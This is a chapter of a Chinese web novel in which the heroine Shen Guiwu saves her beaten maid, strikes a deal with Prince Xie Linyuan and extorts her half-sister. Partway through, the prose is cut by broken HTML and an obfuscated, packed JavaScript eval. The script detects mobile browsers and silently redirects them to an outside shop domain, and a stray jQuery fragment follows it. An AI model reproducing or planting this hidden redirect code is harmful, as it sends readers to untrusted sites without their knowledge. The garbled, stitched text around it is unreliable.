沈府门口,谢临渊与谢知屿相携而行,忽然一道低沉的呼救声传来,不待两人回头,就被人控制住,只剩些许呜鸣声溢出,两人皆是脚步一顿,扭头对视,但笑不语。
“啾啾……”
谢临渊肩头的灵雀像是被惊吓到,扑腾着翅膀,一个猛冲飞回府中,瞬间没了身影。
谢临渊望着灵雀消失的方向,缓缓抬手,眼含担忧,惋惜出声:
“好不容易寻回的灵雀又跑了,看来皇兄的邀约,只能改日再赴。”
谢知屿也看向灵雀飞走的方向,那分明是沈府后院,可暗探送回的消息表明,谢临渊对一只灰羽小鸟喜爱有加,已到痴迷的程度,他眼睛微眯,飞速闪过一抹杀意,随即淡笑回头道:
“无妨,待七弟忙完,定要陪孤喝上三日。”
“好。”
谢临渊站在原处,恭送谢知屿离开,待对方走远,才对着天空打了个呼哨。
下一刻,灵雀稳稳落于他手中,一人一鸟对视半晌,偶尔低语,他便已知事情大概,抬手招来玄影。
“去通知沈小姐,灵雀会给你带路。”
“是。”玄影身影未动,不解开口:“王爷此番反复,不怕太子起疑吗?”
朝中局势动荡,谢临渊此次接密旨入京,本就易生变故,若是再被太子和三皇子盯上,更是寸步难行,可母妃曾说过,灵雀会指引他找到那个命定之人。
如今灵雀再三盘旋在沈家,哪怕之前的筹划会落空,他也不能放过任何一个确认的机会。
“皇家之人生性多疑,他的邀约何尝不是一场鸿门宴。”他将折扇缓缓推开,轻摇几下,淡声继续:“去吧,一会灵雀该等急了。”
——
沈归芜跟在玄影身后,穿过两道游廊,绕过一处假山,远远便听到棍棒击打皮肉的闷响,夹杂着一声声压抑的闷哼。
她的心猛然揪起,再也顾不上隐藏,纵身跃上房顶,循着声音的方向快速前进。
玄影立在原地,微微抬了抬眼,似有有些意外,但什么也没说,王爷交给他的任务是带路,其余事情无需插手,自也不必再跟,悄悄调转方向,隐于暗处。
“打!给我狠狠打!打到她开口为止。”
沈心柔站在台阶上,双手交叠在身前,脸上带着几分凌厉,与方才在客厅里的那副柔弱模样判若两人。
院子中央,一条长凳上绑着一个人,青色外衣已经被血迹浸透,渲染成墨绿色,嘴巴被布条死死绑住,发不出完整的声音。
而那人正是翠荷。
沈归芜随手执起两块瓦片,用力甩出,刚好命中家丁的手腕,痛呼一声,木棍应声掉落。
她足尖轻点,纵身跃下,这个动作在她上一世成为杀手的时候,做过无数次,如今换到这具身体,肌肉记忆却仍在。
行至院内中央,抬脚踩断两根木棍,伸手横挡在翠荷身前,动作迅速又利索,看得院中众人皆是一愣,久久不曾回神。
“我看谁敢再动她一下。”
她的声音不大,却像一记闷雷炸开,整个院子瞬间安静下来。
家丁们握紧手中的长棒,畏缩着往后退,面面相觑后,为难地看向站在上首的沈心柔。
沈心柔满脸震惊,不可置信地瞪大双眼,仿佛看到一个从未见过的怪物,不由自主捏紧了手中的帕子,好半晌才敛下心神,强作镇定道:
“姐姐休要被这贱婢迷惑了!”她的声音拔高了几分,“她趁府上人多眼杂,卷着金银细软,准备跑路,还好门房机灵,才没让她得逞。”
沈归芜没有回头,但她感受到翠微在身后微微颤抖。
翠荷忠心耿耿,所作所为皆是她授意,如今此番,分明是故意为之。
她牙关紧咬,双手缓缓放下,攥成了拳。
“她是我的婢女。”她一字一句,冷笑出声:“不等我到场,你就随意丈责,是准备屈打成招吗?”
此时的沈归芜宛如一头暴躁的狮子,浑身散发着骇人的气息,围满下人的院子瞬间变得落针可闻。
沈心柔抬手隔空抚摸了一下自己受伤的脸颊,眼底闪过一丝狠厉,她持着手帕遮住口鼻,面露愠色。
“门房人赃并获,姐姐难道还要冤枉妹妹不成?”
话音刚落,一个灰色布包“砰”声砸在沈归芜脚边,几块银灰色物品顺势滚出,周围人皆是一惊。
“这……”
沈归芜蹲身拾起一块,眼底闪过诧异,那根本不是银子,只是一块颜色相似的石头,又挑开布包往里一瞅,里面原本的金银细软,都变成了石块。
她抬眼扫过众人,沈心柔依旧满脸得意,下人们脸上或是震惊,或是流露出艳羡之色,无一可疑。
忽然,一道熟悉的身影映入眼帘。
谢临渊不知何时出现在远处廊下,正缓缓摇着折扇,含笑与她对望。
稍一合计,她已猜出大概,虽不知对方是何用意,此时也不好深究。
她收回目光,盯着沈心柔,厉声质问。
“拿几块破石头就来糊弄人,还说不是屈打成招。”
“什么石头?”沈心柔脸上的得意僵住,“明明都是珠钗玉环,还有一些碎银子,姐姐就算想护着那贱婢,也不能指鹿为马。”
方才扔出布包的婆子,快步跑到沈归芜跟前,瞅了瞅她手中的石块,又蹲身翻找,脸上愈发焦急,最终捧起地上的布包,快速回到沈心柔身侧,低声禀报。
“小姐,真的是石头。”
沈心柔怒目转身,待看清对方手中的东西后,脸色巨变,抬手一挥,布包应声落地,石块滚落台阶,洒满一地。
此刻,院中其他下人也全部看清,纷纷低头交耳。
翠荷扭送过来时,她亲眼见过这个包袱,里面装的确实是金钗玉环,想她进府之前,每月月银不过五两,虽然进府后有所好转,但和沈归芜的那些比起来,却不够看。
她与婢女说过,要将那些东西私吞,可这些下人难道是猪脑子吗?在此时动手脚,不是把她架在火上烤吗?
“啪!”
耳光声响起,院中再次归于寂静。
沈心柔起身上前,又给婆子补了几个耳光,破口大骂起来,婢女上前劝阻,瞬间乱成一团。
沈归芜勾着嘴角,收回目光,转身查看翠荷的伤势。
翠荷脸色惨白,嘴角血迹斑斑,额间冷汗直冒,俨然一副即将昏厥,又拼命强撑的模样。
迅速解开绳索,白皙的手腕上,绳索勒出的痕迹触目惊心,有几处已经磨破皮,渗着血珠。
她的眼中布满心疼,更多的是无以复加的愤怒。
两人分开时,翠荷还在笑意盈盈,全心等她,短短半个时辰,已是这般惨状,可见,这些人下手有多狠。
沈归芜压下心头的怒火,暖声开口:
“怎么样?还能走吗?”
翠荷眼含热泪,缓缓摇头,见她眸光有异,又倔强点头,嘴唇动了动,像是想说什么。
沈归芜俯下身,才听清那几乎不成句的几个字:
“包袱……小姐……奴婢没……咳咳咳……”
她在解释包袱的事,被打成这样,开口的第一句话就是解释她没有背叛。
沈归芜手指顿了一下。
“我知道。”她低声说,声音是自己都没意识到的沙哑,“我知道。”
棍棒击打,破皮渗血,也只是外伤,咳嗽蹙眉,恐已伤及内脏。
她片刻不敢耽搁,豁然起身,随手招来两名婆子,嘱咐她们将翠荷送回自己的院子,又快步行至谢临渊跟前,委身行礼。
“烦请王爷让玄影出手,救救翠荷。”
谢临渊收起折扇,置于手中轻轻把玩,眼中是毫不掩饰的探究。
“小姐此番求人,与方才大有不同,是以为何?”
一个是不管对方如何,只要不出人命的随意,一个是真心实意的关心,甚至愿意为了她规矩行礼,这变化,让阅人无数的谢临渊也不禁诧异。
沈归芜站直身子,上下打量对方几眼,心中立马有了计较,立即比出四根手指,忍痛开口:
“只要王爷愿意出手相助,那些细软,我可以拿出四成作为诊金。”
谢临渊只是挑眉看着她,没有点头答应的意思。
“本王可是费了好大心力去寻那些石头,而且,灵雀也报信也出了很大的力。”
沈归芜轻咬嘴唇,暗暗盘算,最终又打开大拇指,痛心道:
“五成,不能再多了,剩下的我留着还有用处,况且医馆的郎中也用不上那么多诊金。”
谢临渊看着她认真比对的模样,嘴角的笑意不断扩大,缓缓蔓延进眼睛。
“好。”他点了点头,“那些细软,本王先替小姐收着,沈府人多眼杂,不安全。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491441|202249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
他顿了顿,目光落在她肩头的灵雀身上,眼中闪过一丝意味深长的光。
“灵雀已经替本王选好了地方,等事情办完,一并归还。”
沈归芜这才注意到,那只鸟不知什么时候又飞回了自己肩上,正歪着头看她。
她皱了皱眉,但没说什么。
“多谢王爷。”
她转身离开,走了两步又停下,回头看了一眼翠荷被抬走的方向。
一道轻浅的声音从身后传来:“玄影,去看看。”
谢临渊看着沈归芜走远,手中折扇缓缓合拢。
玄影不知何时已回到他身侧,低声道:“王爷,那些细软已安置妥当。”
谢临渊微微颔首,目光仍落在沈归芜消失的方向。
“她方才说‘五成’的时候,”他忽然开口,语气里带着一丝极淡的笑意,“拇指打开的那一下,像是下了很大的决心。”
玄影沉默片刻:“属下不懂。”
“不懂才好。”谢临渊收回目光,转身往反方向走去,“懂了,就得替她还债了。”
——
沈归芜快步回到院子中央时,手中多出了一截木棍,其断面参差不齐,显然就是她之前踩断的其中一根。
她抬步,朝台阶上走去。
“砰——咚——哐——”
她见人就打。
几棍下去,那些原本团成一圈的人瞬间散开,有的捂着头,有的揉着胳膊,有的踮着脚,样子好不滑稽。
沈归芜却无心欣赏,她现在满心都是对翠荷伤势的担忧,还有痛失一般盘缠、路上生活水平下降的惋惜。
她抬起手中的木棍,指向一切的罪魁祸首——沈心柔,眼睛微微眯起,周身怒意翻涌。
“沈心柔,今日你若拿出翠荷偷盗的证据,我任凭你处置,你若拿不出——”她将木棍收回,两手一用力,“咔嚓”断成两截,“此棍就是你的下场。”
沈心柔脸上瞬间失了血色,趔趄后退,好在婢女伸手扶住,才避免摔倒。
经过方才一通责打,她已然知道,东西是找不回来了,此刻要是再咬死翠荷偷盗,以沈归芜的脾气,她恐难脱身。
权衡再三,她怯声开口:
“定是那些瞎眼的奴仆嫉妒,才闹出此种误会,妹妹愿意请京城最好的郎中为翠荷诊治,姐姐意下如何?”
沈归芜冷眸划过她的脸颊,自知鱼儿上钩,心中窃喜,面上却不显。
“你请郎中?”她冷嗤一声,“是打算故技重施,暗中下毒,好来个死无对证吗?”
沈心柔额间的冷汗冒得更多,帕子在指尖绞成一团,眼底恨意汇聚,怎么什么都被对方看破,莫不是撞上了什么邪祟?
瞟了一眼沈归芜愈发阴沉的脸,心下计较,好半晌才蠕动着嘴唇,挤出一点细若纹丝的声音。
“那……那妹妹出诊金,姐姐自己去请郎中,可好?”
“好。”
沈归芜爽快应声。
见沈心柔肩头放松,眉心舒展,继续补充道:
“不过,光有诊金不够,还有压惊费、养伤费、汤药费、误工费等等,加起来这个数。”
她伸出一只手,五指分开,霸气十足。
“五两银子?”
沈心柔轻咬薄唇,面露难色。
她怎么敢的?
可一想到这几次交锋,自己都没能讨到好果子,还是决定忍气吞声,默默接受,毕竟失了银子只疼心,不失银子,还指不定疼哪。
沈归芜冷笑一声,缓缓摇头,一字一句,掷地有声。
“五,千,两。”
若这笔银子到手,去皇陵的经费也就不用愁了,谢临渊手上的那份东西,自己不要也罢。
“咚!”
沈心柔昏厥倒地,婢女婆子乱作一团。
沈归芜缓步走近,屈膝蹲下,睨了一眼睫毛轻颤的沈心柔,凑到耳旁,冷声开口:
“沈心柔,我知道你能搞到这五千两银子,毕竟这只是那批官银里的一个零头。”
说完,沈心柔睫毛剧烈颤抖,呼吸急促得连旁边婢女都跟着抖起来,沈归芜只是睨了一眼,头也不回的离开。
她再次抬头看了眼天,离城门关闭只有不到一刻钟了,她此刻想要带着浑身是伤的翠荷离开是不可能了。
而那五千两最快到手也要两日,她可以耐心等一等。